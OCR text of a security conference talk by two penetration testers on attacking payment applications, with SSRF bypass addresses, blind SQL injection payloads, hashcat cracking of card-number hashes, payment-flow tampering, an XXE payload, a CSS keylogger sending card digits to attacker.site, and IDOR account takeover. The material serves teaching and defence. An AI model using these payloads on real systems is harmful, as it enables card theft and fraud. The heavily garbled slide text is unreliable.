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Who are we?

Anton Ostrokonskiy

Head of pentest department in Deiteriy
%] @ostrokonskiy

K ostrokonskiy@gmail.com

Denis Derevtsov
Penetration tester in Deiteriy

%] @userwer

< diderevtsov@gmail.com
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Payment Applications

* Online banks

* Payment gateways
* Online stores
Rental services
Delivery services

etc.
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Payment Gateways i
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« Payment form

e Merchant's account
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SSRF (Server-side request forgery)

TIVM3NId
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SSRF in Callbacks

http://localhost:80

Response: <! HTML for static distribution bundle build

TYPE html>
lang="en">

J
nk rel="icon" ty

html
{
| 8
box-sizing: border-box;
overflow: -moz-scrollbars-vertical;

overflow=y: scroll;

'
+«:before,
«:after
‘f

L

NGO

http://test.local/swagger/Vl/swagger.json

Response: {
"openapi'": "3.0.1",
"info"s: 4
“utte"s "EopApi®,
"version": "1.0.0.0"

}

"paths": {
"/api/discovery": {
"pOSt": {
"togs™: |

"Discovery"

1,
"requestBody": { .
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SSRF Bypass {ERE
2022

« http://127.0.0.1:80

« http://0.0.0.0:80 | 1

« http://localhost:80 ; j

-« http:/[:]:80 £ ¢ |

. http://0000:1:80 I e

|

« http://2130706433 .
il
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Blind SQLi + Insecure Card Storage 3EF e
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Simple Example (not blind)

"UNION SELECT username, password FROM users--

>

SELECT name, price FROM products WHERE category =
'GIFTS

List of usernames and passwords

<

<

Hacker

Web application

-
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Blind SQLI + Insecure Card Storage

Example of Blind SQL Injection

Hacker

Web Application

)

SELECT name, price FROM products WH&RE category =
"UNION SELECT * FROM(SELECT(SLEEP(20)))a)-- Eits G
> > o

i

20 seconds

. Database
* i
e
=
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Blind SQLI + Insecure Card Storage

20NE
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(SELECT 1 FROM (SELECT ( (CASE WHEN ; . 4
(EXISTS (SELECT table_name FROM . 5 |
information_schema.tables WHERE table_name . . atl
LIKE ‘cards’)) END)))bdyQ) 4 |
A% g .
B -
T
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Blind SQLI + Insecure Card Storage

Response

Raw | Headers

8 Raw \n Actions Vv

HTTP/1.1 200 OK A
Server:
2 Date:
1 Content-Type: application/json; charset=UTF-8
Content-Length: 63
Connection: close
7 Expires: Thu, 19 Nov 1981 08:52:00 GMT f"
Cache-Control: no-store, no-cache, must-revalidate v
Pragma: no-cache Q \‘- C
Strict-Transport-Security: max-age=31536000; . /
11
12 {
"draw": ,
"recordsTotal":"0",
"recordsFiltered":"0", ¢
"data": [
]
K .
. " " . o8
- gile
o -
. .
- . -~ ~
1777777777777, m@ PN
Fu by
B -.:t::',;; e
A ]
= el -
R 55 5
0 matches = 2
383 bytes | 1 099 millis
-
-
{
-
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Blind SQLI + Insecure Card Storage

(SELECT 1 FROM (SELECT ( (CASE WHEN

(EXISTS (SELECT id FROM cards WHERE

cardnumber like '4314090010071979")
END)))bdyQ)
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Blind SQLI + Insecure Card Storage
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Raw | Headers | Hex |
s Raw \n Actions v

1 HTTP/1.1 200 OK

2 Server:

3 Date:

| Content-Type: application/json; charset=UTF-8
Content-Length: 63
Connection: close -5
Expires: Thu, 19 Nov 1981 08:52:00 GMT Q :

3 Cache-Control: no-store, no-cache, must-revalidate

J Pragma: no-cache . _

10 Strict-Transport-Security: max-age=31536000; v

«>>
o

12 {

"draw":"2", R ¢
"recordsTotal":"0",

"recordsFiltered":"0",

"data": [ o

1

. 4 - <
[(IITI77 7777777770 ‘l“‘ @ 7, 3777
(4 3 ‘/ /7444
bl e

R =

b 1%

8
)
)

v

0 matches

383 bytes | 5192 miillis s ® : T //
|
5 i 7




Blind SQLI + Insecure Card Storage

(SELECT 1 FROM (SELECT ( (CASE WHEN
(EXISTS (SELECT id FROM cards WHERE
cardnumber like '431409******1979'))
END)))bdyQ)
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Blind SQLI + Insecure Card Storage

[Raw Headers | Hex

e Raw \n Actions v

1 HTTP/1.1 200 OK
Server:
Date:
} Content-Type: application/json; charset=UTF-8
Content-Length: 63
Connection: close
7 Expires: Thu, 19 Nov 1981 08:52:00 GMT \
Cache-Control: no-store, no-cache, must-revalidate Q :
Pragma: no-cache Q § C
Strict-Transport-Security: max-age=31536000; . ’ 3
{
"draw":"2",
"recordsTotal":"0",
"recordsFiltered":"0"
"data": [
]

’

. a ] -
117777 770707777 "m @ 7, 77
% 3 77771424
bl e
<l

b 1%

ue
)

.
\
-

.
v

0 matches

383 bytes | 1 270 millis



Blind SQLI + Insecure Card Storage

card_number; 431409******1979

card_hash:;
8cec369b8569aled500b348707979al12414e0fffbcadc88ff44a

cfO3d44cf5f66c479ea39ff81f270c45172a07b1bf52833cc4fe8
ddf94fee929albf1373b5812
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Blind SQLI + Insecure Card Storage

2022
,A&
v
’
Session..........: hashcat
Status...........: Running &
Hash.Type........: SHA2-512 F
Hash.Target......: 8cec369b8569aled50b348707979a12414e0fffbcadc88ff44a...3b5812 .
. ’> ,) Time.Started.....: Tue Aug 23 ©1:42:00 2022 (1 sec) 1
haShcat64,exe —m -|7OO —a 3 now_recoverl ng,txt H d H Time.Estimated...: Sun Aug ©9 17:05:25 2026 (3 years, 351 days) e '
Guess.Mask.......: 2d?d?d?d?d?d?d?d?d?d?d?d?d>d>d?>d [16] |l -
d7d7d7d7d7d7d7d7d7d7d7d7d7d7d Guess.Queue......: 1/1 (100.00%)
* * ° * * * * ° * * * ° * * Speed.#1.........: 40146.0 kH/s (7.39ms) @ Accel:8 Loops:7 Thr:256 Vec:1
Speed.#2.........: 39796.3 kH/s (7.39ms) @ Accel:8 Loops:7 Thr:256 Vec:1
Speed.#*.........: 79929.7 kH/s
Recovered........: ©/1 (0.00%) Digests, ©/1 (©.00%) Salts
Progress.........: 70017024/10000000000000000 (©.00%)
Rejected.........: ©/70017024 (0.00%) §
~ 4 Restore.Point....: ©/10000000000000 (©.00%) 1
)/EEEB rE; Restore.Sub.#1...: Salt:0 Amplifier:392-399 Iteration:@-7
Restore.Sub.#2...: Salt:0 Amplifier:385-392 Iteration:0-7
Candidates.#1....: 2984567899999999 -> 7031999789999999
Candidates.#2....: 4982012999999999 -> ©©30252777899999

Hardware.Mon.#1..: Util:100% Core:1000MHz Mem:1256MHz Bus:16
Hardware.Mon.#2..: Util: 42% Core:1000MHz Mem:1256MHz Bus:16

N
i 1IN

»
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/
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Blind SQLI + Insecure Card Storage

2022
,lk
Session..........: hashcat
Status...........: Cracked
Hash.Type........: SHA2-512
Hash.Target......: 8cec369b8569a1ed50b348707979a12414e0fffbcadc88ff44a...3b5812 o
Time.Started.....: Tue Aug 23 01:47:08 2022 (0 secs)
Time.Estimated...: Tue Aug 23 ©1:47:08 2022 (@ secs) o s
. Guess.Mask.......: 4314092d?d?d>d>d?d1979 [16] ’
hashcate4.exe -m 1700 -a 3 now_recovering.txt Guess.Queue. ... : 1/1 (100.06%) A |
Speed.#1.........: 36755.2 kH/s (7.07ms) @ Accel:64 Loops:1 Thr:256 Vec:1 '! -
4314097d7d7d7d7d7d-|979 Speed.#2.........: © H/s (7.07ms) @ Accel:64 Loops:1 Thr:256 Vec:1
* * * * * * Speed.#*.........: 36755.2 kH/s
Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
Progress.........: 500000/1000000 (50.00%)
Rejected.........: ©/500000 (0.00%)
Restore.Point....: ©/1000000 (©.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:©-1 |'
~ 'l Second Restore.Sub.#2...: Salt:0@ Amplifier:0-1 Iteration:e-1 *
Candidates.#1....: 4314899999991979 -> 4314094949611979
Candidates.#2....: 4314099999931979 -> 4314094949641979

Hardware.Mon.#1..: Util: ©% Core:1000MHz Mem:1250MHz Bus:16
Hardware.Mon.#2..: Util: 0% Core:1008MHz Mem:1250MHz Bus:16

Started: Tue Aug 23 01:47:05 2022
Stopped: Tue Aug 23 ©1:47:10 2022




FF
ONE

2022

NGO

Business logic
vulnerabilities




o

FF
ONE

2022

Free Purc

dSe

|-




\
Free Purchase 2 ONE
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(
Payment request: . ] ,
POST /billing/purchase/ HTTP/1] b ¢ ”’;"‘L‘ s i ' B

Host: example.com

type=gift&price=100&currency=RUB&item_id=64247




0
SEF

Free Purchase A8

2022

Response:

HTTP/1.1 200 OK

{

“redirect_url™ “https://fexample.com/payments/?
payment_session_id=9elabce4-ala2-1234-b1n2-a29292d9f025

}




Free Purchase

Payment success request:

GET /payment/finishpay?success=true&
P1IN2-2a29292d9f025& =c123Jdanfdil23Rkf&
7fj-b94939d9g999 HTTP/1.1

Host: example.com

=9¢elabce4-ala2-1234%-
=8g2bbkf8-b2k9-1111-

A

R

\
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Free Purchase B
(0])'] 3
2022
Payment success response: Y
HTTP/1.1 302 FOUND i
' : ."
C 0 \6 | c
<title>Redirecting...</title> ¥
<p>You should be redirected automatically to target URL: <a ¢
href="https://example.com/return/? o
&amp;id=849307659"> T e
) =
? -
n e S
R
.,é@' > | T //
s e - =



Free Purchase

Another payment request:
POST /billing/purchase/ HTTP/1.1

Host: example.com

type=gift&price= &currency=RUB&item_id=
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Response:

HTTP/1.1 200 OK

{

“redirect_url™ “https://fexample.com/payments/?
payment_session_id=8k3klfd5-b2e3-0957-fam9-f40011a0f277

}




Free Purchase

Malicious payment request:

GET /payment/finishpay?success=true&payment_session_id=
&proc_code=cl23Jdanfdil23Rkf&order_id=8g2bbkf8-b2k9-1111-171j-

94939099999 HTTP/1.1

Host: example.com
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Free Purchase B
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Malicious payment success: Y
HTTP/11 302 FOUND i
' ; ."
C 0 \i | c
<title>Redirecting...</title> ¥
<p>You should be redirected automatically to target URL: <a ¢
href="https://example.com/return/? i
&amp;id=939402305"> T e
) =
? -
n e S
Ry,
V' / | " y
s . - =
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Hack the Game 20NE
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Original request:

GET /bonus_games/level?session_id=2a8den12-
ae02-039c-8847-1bb22cde3a5e&user_id=20ve020-da2l-11e3-

a02b-26c8cff89aal&level=1&passed=1&
’

A8 N - L




VFF
Hack the Game L ONE
2022
Malicious request:
GET /bonus_games/level?session_id=2a8den12- 6
ae02-039c-8847-1bb22cde3a5e&user_id=20ve020-da21-11e3- 0

a02b-26c8cff89aa2&level=1&passed=1&points=445652
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Undocumented Functionality 3EFE

2022
Suspicious API function:

https://example.com/merchant/cardstore/list
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Undocumented Functionality

Suspicious API function:

https://example.com/merchant/cardstore/list

Request parameters:

« merchant_id — Merchant ID
« user_id-User ID

* salt - Random string

* Sig - Signhature

g FF
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Undocumented Functionality

Suspicious API function:

https:/fexample.com/merchant/cardstore/list

Response parameters (expected).

card_hash — Masked payment card number
user_id — User ID

merchant_id - Merchant ID

status — payment card status

card_id — payment card ID

salt —- Random string

created_at — card creation date

VFF
{ONE

2022




Undocumented Functionality 3EFE
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Suspicious API function:

https:/fexample.com/merchant/cardstore/list

Response parameters (real):

« card_hash - Masked payment card number

e user_id-User ID

« merchant_id - Merchant ID

« status - payment card status

» card_id — payment card ID

* salt- Random string

 created_at - card creation date



Undocumented Functionality 3

card_hash=54TT-TIXX-XXXX-1115

’

card_hash_hash=$2a$10$0Jty6elUobn E.tfsNAOqu.ZE96thdSan9uQM.Ftk2h3xopXDza
b 4 B
E 3 <
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Undocumented Functionality

card_hash=54TT-TIXX-XXXX-1115

card_hash_hash=$2a$10$0Jty6elUobn E.tfsNAOqu.ZE96thdSan9uO_M.FIkZthopXDza

b B
CC’. M

C

hashcat64.exe -a3 -m 3200 test.txt —outfile=hash.txt —outfile- format= 3 -W

3 541111?d?d?d?d?d?d1115

20NE
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MD Problem 2
MD, PaReq,
Attacker CallbackURL (8)
Order (1) (A) \
‘;\\\\;;BT\\\\\\\
A PaRes (9)

Merchant Shop Acquiring Bank

M MD, PaRegq, ¢ . AB
M) CallbackURL (7) MD, PaRes (10) J (AB)

aReq (6)

VeReq (3) !

Payment Gateway " Emitent Bank
(PG) < ' (ACS)
VeRes (4)

VeRes (5)
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XXE In VeReq, PaReg

VEReq:

POST /3ds/vereq HTTP/2.0

Host: example.com

<?xml version="1.0" encoding="UTF-8"?>
<IDOCTYPE ThreeDSecure | ol P _
<IENTITY % local_dtd SYSTEM “file:///usr/share/xml/fontconfig/fonts.dtd”> : ¢ ‘i = : i

<IENTITY % constant ‘aaa)>

<IENTITY &#x25; file SYSTEM * "> B _ |
<IENTITY &#x25; eval “<IENTITY &H#x26:#x25; error SYSTEM &#x27;file:///
&#x25;eval;

&#x25;error,

<I[ELEMENT aa (bb'>

.
PR

%local_dtd; |>

<ThreeDSecure>



XXE In VeReq, PaReg

Server response:

HTTP/2.0 200 OK
Content-Type: application/xml

<?xml version="1.0" encoding="UTF-8"7?>

<errorMessage>

Invalid format.
</errorMessage>
<errorDetail>

Java.io.FileNotFoundException:

\
2
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CSS Keylogger

input[name=" "[value=" "1

background-image: url(http://attacker.site/card/

input[name=" "[value=" SEl

background-image: url(http://attacker.site/card/

VFF
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CSS Keylogger

NO

[ Pre

Keylogger CSS example Filte (J Invert [ Hide data URLs All Fetch/XHR JS CSS Img Media Font Doc WS Wasm Manifest Other [ Has blocked cookies (] Blocked Reque
10 ms 20 30 40 ms 50 ms 60 ms

0 ms 80 ms

Card data

‘12247‘ Headers Preview esponse tiator ming

‘ ht 1| input[name number"][value="4111111111111111"] { background-image: url("htt

.1/4111111111111111"); }

E 3 Y - ~

e . ™)

"’S?ﬁ :; . -
o N - -



CSS Keylogger

sole Sources Network

(] Preserve log sable cache

Key10gger CSS example ter (] Invert (] Hide data URLs All

20 ms 30 ms 40 ms

FetcWXHR JS CSS Img Media Font Doc WS Wasm Manifest Other (] Has blocked cookies (] Blocked Reques
S50 ms 60 ms 70 ms 80 ms

 I—

Card data

[4111111191111111

‘ 1224 Name eaders Preview

input [name d number"][value®= 111"] { background-image: url("h

[E keylogger.html
-image: url("https:/

| keylogger.css
config.json

5 requests 2.4 kB transfe

Console
[ © | top
© GET https 127.0.0.1/start 11 net::ERR CONNECTION REFUSED
© GET htt
e Uncaught




CSS Keylogger

@font-
@font-
@font-
@font-
@font-
@font-
@font-
@font-
@font-
@font-

input[name=
font-family: X,

}

face
face
face
face
face
face
face
face
face
face

P N A Sy e S

font-family:
font-family:
font-family:
font-family:
font-family:
font-family:
font-family:
font-family:
font-family:
font-family:

"card number"] {

» Src.
» Src.
» SIrc.
» SIrc.
» SIrc.
:» SIrc.
:» SIrc.
:» SIrc.
:» SIrc.
:» SIrc.

url(http:
url(http:
url(http:
url(http:
url(http:
url(http:
url(http:
url(http:
url(http:
url(http:

'Comic sans ms';

//127.
//127.
//127.
//127.
//127.
//127.
//127.
//127.
//127.
//127.

[cNololooNoolloNolNol

[cNololoNoNoNolloNoNol

.1/card/0),
.1/card/1),
.1/card/2),
.1/card/3),
.1/card/4),
.1/card/5),
.1/card/6),
.1/card/7),
.1/card/8),
.1/card/9),

¢

’

local(Impact); unicode-range:
local(Impact); unicode-range:
local(Impact); unicode-range:
local(Impact); unicode-range:
local(Impact); unicode-range:
local(Impact); unicode-range:
local(Impact); unicode-range:
local(Impact); unicode-range:
local(Impact); unicode-range:
local(Impact); unicode-range:

VFF
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U+30;
U+31;
U+32;
U+33;
U+34;
U+35;
U+36;
U+37;
U+38;
U+39;

L e
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Simple IDOR

fullname

. s
WM@ 7777717

it 4

\
2
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Account takeover via IDOR

https://vulnerable.com/user/change-data

“id": "3dec441d-ffe2-4312-990c-09a7a046211be”,

|n, I

‘email”: “created_admin@mail.com”,

“roles” [

1,
”, u

“user_name”: “created_admin@mail.com”,
“merchant”: “4366221",
“shop_ids": |

“10043"
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Account takeover via IDOR

https://vulnerable.com/user/change-data

“id": "3dec441d-ffe2-4312-990c-09a7a046211be”,

|n, I

‘email”: “created_admin@mail.com”,

“roles” [

1,
“user_name”: “created_admin@mail.com”,
“merchant”: “4366221",
“shop_ids": |
“10043",

!
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JS file + Broken Access Control

https://insecure.site/static/js/main.js

this. = ["adminl@insecure.site”,
‘admin2@insecure.site”, “ "

!

‘admin4@insecure.site”, “admin5@insecure.site”, ”

!

adminoc@insecure.site”, “admin7@insecure.site”, ”

!

admin8@insecure.site”, "admin9@insecure. site”,
‘adminlO@insecure.site”

]

2
1
o
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JS file + Broken Access Control

Server response

“email”; “

“type”:

Ukey

", u

", u

change-password”,

n

VFF
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JS file + Broken Access Control SEF
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Password recovery link

https://insecure.site/access/recover?

token= &email= '
c C ‘i c il
y |
i
o :
g ']
N E:—: -1 oy
LY
& z ey
““ﬁ - <~ /‘ / .
W ™ _l



JS file + Broken Access Control | {ERE
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St g S
2 = I
8 I =

3 ——a |
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” \% & - ‘. e ¥




Questions?
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